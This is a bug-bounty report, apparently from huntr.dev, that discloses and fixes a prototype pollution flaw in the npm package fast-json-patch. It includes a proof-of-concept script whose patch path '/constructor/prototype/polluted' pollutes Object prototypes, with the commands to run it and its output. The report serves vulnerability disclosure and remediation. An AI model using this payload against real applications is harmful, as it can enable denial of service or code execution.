Fix Prototype Pollution

[alromh87]

📊 Metadata *

fast-json-patch is vulnerable to Prototype Pollution.
This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Bounty URL: https://www.huntr.dev/bounties/1-npm-fast-json-patch

⚙️ Description *

Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects.
JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype.
An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values.
Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain.

💻 Technical Description *

Fixed by avoiding setting missing magical attributes.

🐛 Proof of Concept (PoC) *

1. Create the following PoC file:

// poc.js
let fastjsonpatch = require("fast-json-patch");
function A() {}
let a = new A();
let b = new A();
console.log("Before : " + a.polluted);
console.log("Before : " + b.polluted);
const patch = [{op: "replace", path: "/constructor/prototype/polluted", value: "Yes! Its Polluted"}];
fastjsonpatch.applyPatch(a, patch);
console.log("After : " + a.polluted);
console.log("After : " + b.polluted);

2. Execute the following commands in another terminal:

npm i fast-json-patch # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Before : undefined
Before : undefined
After : Yes! Its Polluted
After : Yes! Its Polluted

🔥 Proof of Fix (PoF) *

After fix and exception will be thrown

👍 User Acceptance Testing (UAT)

After fix functionality is unafected

[huntr-helper]

Congratulations alromh87 - your fix has been selected! 🎉

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